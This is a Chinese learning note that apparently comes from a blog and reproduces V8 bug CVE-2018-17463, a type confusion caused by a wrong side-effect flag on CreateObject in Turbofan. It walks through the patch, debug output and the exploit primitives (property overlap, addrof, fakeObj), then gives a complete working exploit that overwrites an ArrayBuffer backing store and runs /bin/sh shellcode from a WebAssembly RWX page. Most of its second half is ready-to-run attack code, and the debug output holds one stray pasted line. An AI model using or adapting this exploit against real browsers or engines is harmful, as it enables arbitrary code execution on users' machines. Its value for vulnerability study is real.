最近在学习V8的compiler pipeline,CVE-2018-17463是一个很好的学习例子,该漏洞是由于V8在编译优化过程中消除检查节点造成的类型混淆错误,最终可造成任意代码执行。因为是第一次复现真实的V8漏洞,查阅了很多文档和博客,算是一个比较初学者视角的学习笔记。
V8的整个compiler pipeline可以用下图表示,一段JS代码首先被转换成AST,然后在Ignition中解析并转换成V8的字节码,当字节码在执行JS函数的过程中,会收集profiling和feedback数据,这些信息会被Turbofan用来优化生成机器码。
Ignition是V8引擎的解释器,这个阶段旨在快速启动执行JS代码,通过解释器直接执行字节码,它并不产生机器代码。它具有以下的功能和特点:
在CVE-2018-17463这一版本中并没有这一阶段,Sparkplug是在V8 9.1版本中引入的非优化JS编译器,它位于Ignition和Turbofan之间,用于产生未经优化的机器码。
引入Sparkplug的原因非常简单,因为Ignition的性能达到了一个瓶颈,对于字节码的解释执行永远无法摆脱字节码解码等开销,而Turbofan的优化需要收集足够的运行时反馈信息,否则无法获取稳定的object shape,因此无法更早地进行优化。
Sparkplug具有以下的功能和特点:
Turbofan是V8引擎的最终优化编译器,负责将IR转换为高度优化的机器代码。在这个阶段,V8会根据程序的执行情况应用更复杂的优化策略,包括内联缓存、类型推断、循环优化等。Turbofan生成的机器代码是高度优化的,以提供最佳的性能。但是,由于优化的程度很高,在这一阶段很容易产生错误。CVE-2018-17463就是由于在优化过程中操作的side effect判断不正确,造成了类型混淆错误。
查看# Issue 888923,我们可以看到该问题的初始修复补丁是通过提交52a9e67a477bdb67ca893c25c145ef5191976220
推送的,提交信息为“[turbofan] Fix ObjectCreate's side effect annotation.”。有了这个信息,可以使用git show
命令来查看该commit修复了什么。
commit 52a9e67a477bdb67ca893c25c145ef5191976220 Author: Jaroslav Sevcik <jarin@chromium.org> Date: Wed Sep 26 13:23:47 2018 +0200 [turbofan] Fix ObjectCreate's side effect annotation. Bug: chromium:888923 Change-Id: Ifb22cd9b34f53de3cf6e47cd92f3c0abeb10ac79 Reviewed-on: https://chromium-review.googlesource.com/1245763 Reviewed-by: Benedikt Meurer <bmeurer@chromium.org> Commit-Queue: Jaroslav Sevcik <jarin@chromium.org> Cr-Commit-Position: refs/heads/master@{#56236} diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc index 94b018c987d..5ed3f74e075 100644 --- a/src/compiler/js-operator.cc +++ b/src/compiler/js-operator.cc @@ -622,7 +622,7 @@ CompareOperationHint CompareOperationHintOf(const Operator* op) { V(CreateKeyValueArray, Operator::kEliminatable, 2, 1) \ V(CreatePromise, Operator::kEliminatable, 0, 1) \ V(CreateTypedArray, Operator::kNoProperties, 5, 1) \ - V(CreateObject, Operator::kNoWrite, 1, 1) \ + V(CreateObject, Operator::kNoProperties, 1, 1) \ V(ObjectIsArray, Operator::kNoProperties, 1, 1) \ V(HasProperty, Operator::kNoProperties, 2, 1) \ V(HasInPrototypeChain, Operator::kNoProperties, 2, 1) \ diff --git a/test/mjsunit/compiler/regress-888923.js b/test/mjsunit/compiler/regress-888923.js new file mode 100644 index 00000000000..e352673b7d9 --- /dev/null +++ b/test/mjsunit/compiler/regress-888923.js @@ -0,0 +1,31 @@ +// Copyright 2018 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax + +(function() { + function f(o) { + o.x; + Object.create(o); + return o.y.a; + } + + f({ x : 0, y : { a : 1 } }); + f({ x : 0, y : { a : 2 } }); + %OptimizeFunctionOnNextCall(f); + assertEquals(3, f({ x : 0, y : { a : 3 } })); +})(); + +(function() { + function f(o) { + let a = o.y; + Object.create(o); + return o.x + a; + } + + f({ x : 42, y : 21 }); + f({ x : 42, y : 21 }); + %OptimizeFunctionOnNextCall(f); + assertEquals(63, f({ x : 42, y : 21 })); +})();
可以大致了解这一漏洞为何产生,如何触发,这个放在后面去分析。首先需要将代码切换到未修复这一bug的版本,使用git log 52a9e67a477bdb67ca893c25c145ef5191976220
查看commit信息。
commit 52a9e67a477bdb67ca893c25c145ef5191976220 Author: Jaroslav Sevcik <jarin@chromium.org> Date: Wed Sep 26 13:23:47 2018 +0200 [turbofan] Fix ObjectCreate's side effect annotation. Bug: chromium:888923 Change-Id: Ifb22cd9b34f53de3cf6e47cd92f3c0abeb10ac79 Reviewed-on: https://chromium-review.googlesource.com/1245763 Reviewed-by: Benedikt Meurer <bmeurer@chromium.org> Commit-Queue: Jaroslav Sevcik <jarin@chromium.org> Cr-Commit-Position: refs/heads/master@{#56236} commit 568979f4d891bafec875fab20f608ff9392f4f29 Author: Toon Verwaest <verwaest@chromium.org> Date: Wed Sep 26 12:38:28 2018 +0200 [parser] Fix memory accounting of explicitly cleared zones Bug: chromium:889086 Change-Id: Ie5a6a9e27260545469ea62d35b9571c0524f0f92 Reviewed-on: https://chromium-review.googlesource.com/1245427 Reviewed-by: Marja Hölttä <marja@chromium.org> Commit-Queue: Toon Verwaest <verwaest@chromium.org> Cr-Commit-Position: refs/heads/master@{#56235}
可以看到包含这一漏洞的最后一个commit是568979f4d891bafec875fab20f608ff9392f4f29
,使用git checkout
命令切换到这一commit。
通过仔细分析漏洞的patch,可以发现漏洞存在于src/compiler/js-operator.cc
中。在这里,代码定义了许多标识,实际上只进行了一处修改,就是将CreateObject
的标志从kNoWrite
变成kNoProperties
。
- V(CreateObject, Operator::kNoWrite, 1, 1) \ + V(CreateObject, Operator::kNoProperties, 1, 1) \
这些标志位的定义在src
中,是一个枚举类。
enum Property { kNoProperties = 0, kCommutative = 1 << 0, // OP(a, b) == OP(b, a) for all inputs. kAssociative = 1 << 1, // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs. kIdempotent = 1 << 2, // OP(a); OP(a) == OP(a). kNoRead = 1 << 3, // Has no scheduling dependency on Effects kNoWrite = 1 << 4, // Does not modify any Effects and thereby // create new scheduling dependencies. kNoThrow = 1 << 5, // Can never generate an exception. kNoDeopt = 1 << 6, // Can never generate an eager deoptimization exit. kFoldable = kNoRead | kNoWrite, kKontrol = kNoDeopt | kFoldable | kNoThrow, kEliminatable = kNoDeopt | kNoWrite | kNoThrow, kPure = kNoDeopt | kNoRead | kNoWrite | kNoThrow | kIdempotent };
可以看出kNoWrite
表示一个操作并不产生任何side effects,很容易猜到,CreateObject
应当是产生了一定的side effect。通过调试可以发现在Map::CopyNormalized
函数中,使用set_is_dictionary_map(true)
将新生成的map设定为dictionary
模式。修改commit中给出的poc做一个调试和验证。
function f(o) { let a = o.y; Object.create(o); return o.x + a; } let obj = {x: 42, y: 21}; %DebugPrint(obj); f(obj); %DebugPrint(obj);
在执行f前后输出obj信息,执行输出结果如下。
$ ./d8 --allow-natives-syntax poc.js DebugPrint: 0x1909d7a8e599: [JS_OBJECT_TYPE] - map: 0x0a49d638c9d1 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x1c4b472046d9 <Object map = 0xa49d63822f1> - elements: 0x20bfb0802cf1 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x20bfb0802cf1 <FixedArray[0]> { #x: 42 (data field 0) #y: 21 (data field 1) } 0xa49d638c9d1: [Map] - type: JS_OBJECT_TYPE - instance size: 40 - inobject properties: 2 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x0a49d638c981 <Map(HOLEY_ELEMENTS)> - prototype_validity cell: 0x07f205882201 <Cell value= 1> - instance descriptors (own) #2: 0x1909d7a8e2a1 <DescriptorArray[8]> - layout descriptor: (nil) - prototype: 0x1c4b472046d9 <Object map = 0xa49d63822f1> - constructor: 0x1c4b47204711 <JSFunction Object (sfi = 0x7f20588f991)> - dependent code: 0x20bfb0802391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 DebugPrint: 0x1909d7a8e599: [JS_OBJECT_TYPE] - map: 0x0a49d638cca1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties] - prototype: 0x1c4b472046d9 <Object map = 0xa49d63822f1> - elements: 0x20bfb0802cf1 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x1909d7a8e5f1 <NameDictionary[29]> { #y: 21 (data, dict_index: 2, attrs: [WEC]) #x: 42 (data, dict_index: 1, attrs: [WEC]) } 0xa49d638cca1: [Map] - type: JS_OBJECT_TYPE - instance size: 40 - inobject properties: 2 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - dictionary_map - may_have_interesting_symbols walkthrough://vscode_getting_started_page - prototype_map - prototype info: 0x1c4b47223811 <PrototypeInfo> - prototype_validity cell: 0x07f205882201 <Cell value= 1> - instance descriptors (own) #0: 0x20bfb0802321 <DescriptorArray[2]> - layout descriptor: (nil) - prototype: 0x1c4b472046d9 <Object map = 0xa49d63822f1> - constructor: 0x1c4b47204711 <JSFunction Object (sfi = 0x7f20588f991)> - dependent code: 0x20bfb0802391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0
可以看到,在执行之前,map的类型为FastProperties
,但是在执行之后map的类型是DictionaryProperties
。如果f
经过Turbofan的优化,只保留了第一次的CheckMaps
,则会导致后一次程序使用fast mode去寻找dictionary mode中的元素,产生错误。再次修改poc,并观察Turbofan的优化过程。
function vuln(obj) { obj.a; Object.create(obj) return obj.b; } vuln({a:42, b:43}); vuln({a:42, b:43}); %OptimizeFunctionOnNextCall(vuln); vuln({a:42, b:43});
首先查看初始的IR图,在每一次LoadField
之前都进行了CheckMaps
操作。
由于CreateObject
被定义为不写入副作用链,因此消除了冗余,CheckMaps
节点应该不再存在。正如下图所示的simplified lowering阶段,在调用JSCreateObject
之后的CheckMaps
节点已被删除,直接调用LoadField
节点。
不过在利用时,需要大量循环来调用这一函数来触发Turbofan的优化。
现在我们有了一个可以工作的Type Confusion漏洞,该漏洞会导致V8将Dictionary当作数组访问,从而允许我们操纵对象内存布局中的函数指针和数据,但是利用的过程十分繁琐。
经过前面的分析,我们有办法可以让函数中多余的CheckMaps
节点消失,并且能够通过CreateObject
改变Properties
,则很容易可以构造一种非预期情况。首先构造一个obj
,初始化时赋予属性a
,然后增加属性b
,函数中首先访问a
,通过类型检查,然后读取x.b
,由于没有类型检查,此时返回一个与原b
属性偏移相同的数据,但由于Properties
发生变化,返回的数据不会再是b
属性的值。
想要稳定利用这一漏洞,一个很大的问题在于,Dictionary内部的内存布局是随机的,不过在V8中有一规律,相同属性的obj
,在Dictionary
中各属性的偏移也相同。根据这一规律,我们可以使用同样的构造方式来构造具有相同属性的不同obj
,来满足不同的需求。
根据上面的分析,利用这一漏洞时,访问属性b
时会访问到一个其他的元素。我们可以利用这种property overlapping,实现类型混淆。如属性b
是一个Number
类型,而另一个属性是一个Object
类型,访问属性b
会以Number
的方式读出Object
的地址,造成地址泄露。如果想要控制泄露的Object
,就需要知道另一个属性是什么。
下面是一种比较简单常用的方法,按照一定的规律进行赋值,如属性bi
的值定义为-i
,然后依次读取,如果读出的值与原值不同,则可以根据读出的值找到最终读出的是哪一个属性的值。
function getObj(values) { let obj = { a: 1234 }; for (let i = 0; i < 32; i++) { Object.defineProperty(obj, 'b' + i, { writable: true, value: values[i] }); } return obj; } let p1, p2; function findOverlapping() { let names = []; for (let i = 0; i < 32; i++) { names[i] = 'b' + i; } eval(` function vuln(obj) { obj.a; this.Object.create(obj); ${names.map((b) => `let ${b} = obj.${b};`).join('\n')} return [${names.join(', ')}]; } `) let values = []; for (let i = 1; i < 32; i++) { values[i] = -i; } for (let i = 0; i < 10000; i++) { let res = vuln(getObj(values)); for (let i = 1; i < res.length; i++) { if (i !== -res[i] && res[i] < 0 && res[i] > -32) { [p1, p2] = [i, -res[i]]; return; } } } throw "[!] Failed to find overlapping"; } print("step 1: check whether vulnerability exists"); check_vul(); print("[+] Finding Overlapping Properties..."); findOverlapping(); print(`[+] Properties b${p1} and p${p2} overlap!`);
很容易可以找到我们需要的两个属性。
[+] Finding Overlapping Properties... [+] Properties b12 and b21 overlap!
Addrof
是一个在V8利用中很常见的原语,用来泄露一个obj
的地址。当我们有类型混淆漏洞时,这个原语的实现就十分简单,在前面也介绍过。我们将上一步中得到的第一个属性记为p1
,第二个属性记为p2
,由于对p1
的访问实际上是对p2
内容的访问,设置属性p1
为Number
,属性p2
为想要泄露地址的Object obj
,通过读取p1
就可以读取出obj
的地址。
function addrof(obj) { eval(` function vuln(obj) { obj.a; this.Object.create(obj); return obj.b${p1}.x1; } `); let values = []; values[p1] = { x1: 1.1, x2: 1.2 }; values[p2] = { y: obj }; for (let i = 0; i < 10000; i++) { let res = vuln(getObj(values)); if (res != 1.1) { print(`[+] Object Address: ${Int64.fromDouble(res).toString()}`); return res; } } throw "[!] AddrOf Primitive Failed" }
上面的代码中,vuln
函数访问了p1
的x1
,在产生优化之后,会访问到p2
的y
也就是obj
,从而以浮点数返回obj
的地址。
同样,我们可以构造一个Object
,如下面的o
,其中的各个属性均为Number
。
let o = { x1: 1.1, x2: 1.2 }; values[p1] = o; values[p2] = obj;
我们对p1
中的x1
和x2
进行写入时,实际上会写入obj
中的对应位置。这里有一个非常常用的结构ArrayBuffer
,其中的backing_store
字段存放了一个内存地址,该地址是实际读写时的地址。如果能够修改该地址为任意地址,则可以利用这一ArrayBuffer
达到任意地址读写的效果。
通过调试很容易发现,backing_store
和x2
的偏移相同,因此对x2
进行修改能够达到修改backing_store
的作用,进而可以控制ArrayBuffer
任意地址读写。
function fakeObj(obj, addr) { eval(` function vuln(obj) { obj.a; this.Object.create(obj); let orig = obj.b${p1}.x2; obj.b${p1}.x2 = ${addr}; return orig; } `); let values = []; let o = { x1: 1.1, x2: 1.2 }; values[p1] = o; values[p2] = obj; for (let i = 0; i < 10000; i++) { o.x2 = 1.2; let res = vuln(getObj(values)); if (res != 1.2) { return res; } } throw "[!] fakeObj Primitive Failed" }
Get shell的方法比较常规,通过wasm
分配一块可读写可执行的内存,然后通过间接寻址找到这一内存,在这一版本中wasmInstance
偏移0xf0
处即为该地址。通过任意地址读写讲shellcode写入,通过调用wasm中的函数执行写入的shellcode。
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; let mem = new ArrayBuffer(1024); let dv = new DataView(mem); let addr = addrof(wasmInstance); fakeObj(mem, addr); let code_addr = Int64.fromDouble(dv.getFloat64(0xf0 - 1, true)); print("rwx addr", code_addr); fakeObj(mem, code_addr.asDouble()); let shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ]; let data_view = new DataView(mem); for (let i = 0; i < 3; i++) data_view.setBigUint64(8 * i, shellcode[i], true); f();
完整的exp如下,前面的板子来自这里。
function gc() { /*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/ for (var i = 0; i < ((1024 * 1024) / 0x10); i++) { var a = new String(); } } function give_me_a_clean_newspace() { /*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/ gc() gc() } let floatView = new Float64Array(1); let uint64View = new BigUint64Array(floatView.buffer); Number.prototype.toBigInt = function toBigInt() { floatView[0] = this; return uint64View[0]; }; BigInt.prototype.toNumber = function toNumber() { uint64View[0] = this; return floatView[0]; }; function hex(b) { return ('0' + b.toString(16)).substr(-2); } // Return the hexadecimal representation of the given byte array. function hexlify(bytes) { var res = []; for (var i = 0; i < bytes.length; i++) res.push(hex(bytes[i])); return res.join(''); } // Return the binary data represented by the given hexdecimal string. function unhexlify(hexstr) { if (hexstr.length % 2 == 1) throw new TypeError("Invalid hex string"); var bytes = new Uint8Array(hexstr.length / 2); for (var i = 0; i < hexstr.length; i += 2) bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16); return bytes; } function hexdump(data) { if (typeof data.BYTES_PER_ELEMENT !== 'undefined') data = Array.from(data); var lines = []; for (var i = 0; i < data.length; i += 16) { var chunk = data.slice(i, i + 16); var parts = chunk.map(hex); if (parts.length > 8) parts.splice(8, 0, ' '); lines.push(parts.join(' ')); } return lines.join('\n'); } // Simplified version of the similarly named python module. var Struct = (function () { // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. var buffer = new ArrayBuffer(8); var byteView = new Uint8Array(buffer); var uint32View = new Uint32Array(buffer); var float64View = new Float64Array(buffer); return { pack: function (type, value) { var view = type; // See below view[0] = value; return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); }, unpack: function (type, bytes) { if (bytes.length !== type.BYTES_PER_ELEMENT) throw Error("Invalid bytearray"); var view = type; // See below byteView.set(bytes); return view[0]; }, // Available types. int8: byteView, int32: uint32View, float64: float64View }; })(); // // Tiny module that provides big (64bit) integers. // // Copyright (c) 2016 Samuel Groß // // Requires utils.js // // Datatype to represent 64-bit integers. // // Internally, the integer is stored as a Uint8Array in little endian byte order. function Int64(v) { // The underlying byte array. var bytes = new Uint8Array(8); switch (typeof v) { case 'number': v = '0x' + Math.floor(v).toString(16); case 'string': if (v.startsWith('0x')) v = v.substr(2); if (v.length % 2 == 1) v = '0' + v; var bigEndian = unhexlify(v, 8); bytes.set(Array.from(bigEndian).reverse()); break; case 'object': if (v instanceof Int64) { bytes.set(v.bytes()); } else { if (v.length != 8) throw TypeError("Array must have excactly 8 elements."); bytes.set(v); } break; case 'undefined': break; default: throw TypeError("Int64 constructor requires an argument."); } // Return a double whith the same underlying bit representation. this.asDouble = function () { // Check for NaN if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) throw new RangeError("Integer can not be represented by a double"); return Struct.unpack(Struct.float64, bytes); }; // Return a javascript value with the same underlying bit representation. // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) // due to double conversion constraints. this.asJSValue = function () { if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) throw new RangeError("Integer can not be represented by a JSValue"); // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. this.assignSub(this, 0x1000000000000); var res = Struct.unpack(Struct.float64, bytes); this.assignAdd(this, 0x1000000000000); return res; }; // Return the underlying bytes of this number as array. this.bytes = function () { return Array.from(bytes); }; // Return the byte at the given index. this.byteAt = function (i) { return bytes[i]; }; // Return the value of this number as unsigned hex string. this.toString = function () { return '0x' + hexlify(Array.from(bytes).reverse()); }; // Basic arithmetic. // These functions assign the result of the computation to their 'this' object. // Decorator for Int64 instance operations. Takes care // of converting arguments to Int64 instances if required. function operation(f, nargs) { return function () { if (arguments.length != nargs) throw Error("Not enough arguments for function " + f.name); for (var i = 0; i < arguments.length; i++) if (!(arguments[i] instanceof Int64)) arguments[i] = new Int64(arguments[i]); return f.apply(this, arguments); }; } // this = -n (two's complement) this.assignNeg = operation(function neg(n) { for (var i = 0; i < 8; i++) bytes[i] = ~n.byteAt(i); return this.assignAdd(this, Int64.One); }, 1); // this = a + b this.assignAdd = operation(function add(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) + b.byteAt(i) + carry; carry = cur > 0xff | 0; bytes[i] = cur; } return this; }, 2); // this = a - b this.assignSub = operation(function sub(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) - b.byteAt(i) - carry; carry = cur < 0 | 0; bytes[i] = cur; } return this; }, 2); } // Constructs a new Int64 instance with the same bit representation as the provided double. Int64.fromDouble = function (d) { var bytes = Struct.pack(Struct.float64, d); return new Int64(bytes); }; // Convenience functions. These allocate a new Int64 to hold the result. // Return -n (two's complement) function Neg(n) { return (new Int64()).assignNeg(n); } // Return a + b function Add(a, b) { return (new Int64()).assignAdd(a, b); } // Return a - b function Sub(a, b) { return (new Int64()).assignSub(a, b); } // Some commonly used numbers. Int64.Zero = new Int64(0); Int64.One = new Int64(1); function utf8ToString(h, p) { let s = ""; for (i = p; h[i]; i++) { s += String.fromCharCode(h[i]); } return s; } function log(x, y = ' ') { print("[+] log:", x, y); } // =================== // // Start here! // // =================== // function check_vul() { function vuln(x) { x.a; Object.create(x); return x.b; } for (let i = 0; i < 10000; i++) { let x = { a: 0x1234 }; x.b = 0x5678; let res = vuln(x); if (res != 0x5678) { log("CVE-2018-17463 exists in the d8"); return; } } throw "bad d8 version"; } function getObj(values) { let obj = { a: 1234 }; for (let i = 0; i < 32; i++) { Object.defineProperty(obj, 'b' + i, { writable: true, value: values[i] }); } return obj; } let p1, p2; function findOverlapping() { let names = []; for (let i = 0; i < 32; i++) { names[i] = 'b' + i; } eval(` function vuln(obj) { obj.a; this.Object.create(obj); ${names.map((b) => `let ${b} = obj.${b};`).join('\n')} return [${names.join(', ')}]; } `) let values = []; for (let i = 1; i < 32; i++) { values[i] = -i; } for (let i = 0; i < 10000; i++) { let res = vuln(getObj(values)); for (let i = 1; i < res.length; i++) { if (i !== -res[i] && res[i] < 0 && res[i] > -32) { [p1, p2] = [i, -res[i]]; return; } } } throw "[!] Failed to find overlapping"; } function addrof(obj) { eval(` function vuln(obj) { obj.a; this.Object.create(obj); return obj.b${p1}.x1; } `); let values = []; values[p1] = { x1: 1.1, x2: 1.2 }; values[p2] = { y: obj }; for (let i = 0; i < 10000; i++) { let res = vuln(getObj(values)); if (res != 1.1) { print(`[+] Object Address: ${Int64.fromDouble(res).toString()}`); return res; } } throw "[!] AddrOf Primitive Failed" } function fakeObj(obj, addr) { eval(` function vuln(obj) { obj.a; this.Object.create(obj); let orig = obj.b${p1}.x2; obj.b${p1}.x2 = ${addr}; return orig; } `); let values = []; let o = { x1: 1.1, x2: 1.2 }; values[p1] = o; values[p2] = obj; for (let i = 0; i < 10000; i++) { o.x2 = 1.2; let res = vuln(getObj(values)); if (res != 1.2) { return res; } } throw "[!] fakeObj Primitive Failed" } var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; print("[+] check whether vulnerability exists"); check_vul(); print("[+] Finding Overlapping Properties..."); findOverlapping(); print(`[+] Properties b${p1} and b${p2} overlap!`); let mem = new ArrayBuffer(1024); let dv = new DataView(mem); give_me_a_clean_newspace(); print("[+] get address of RWX Page"); let addr = addrof(wasmInstance); fakeObj(mem, addr); let code_addr = Int64.fromDouble(dv.getFloat64(0xf0 - 1, true)); print(`[+] rwx addr: ${code_addr}`); fakeObj(mem, code_addr.asDouble()); print("[+] write shellcode"); let shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ]; let data_view = new DataView(mem); for (let i = 0; i < 3; i++) data_view.setBigUint64(8 * i, shellcode[i], true); print("[+] GetShell"); f();
exp运行结果如下图,因为有大量循环,所以运行稍慢。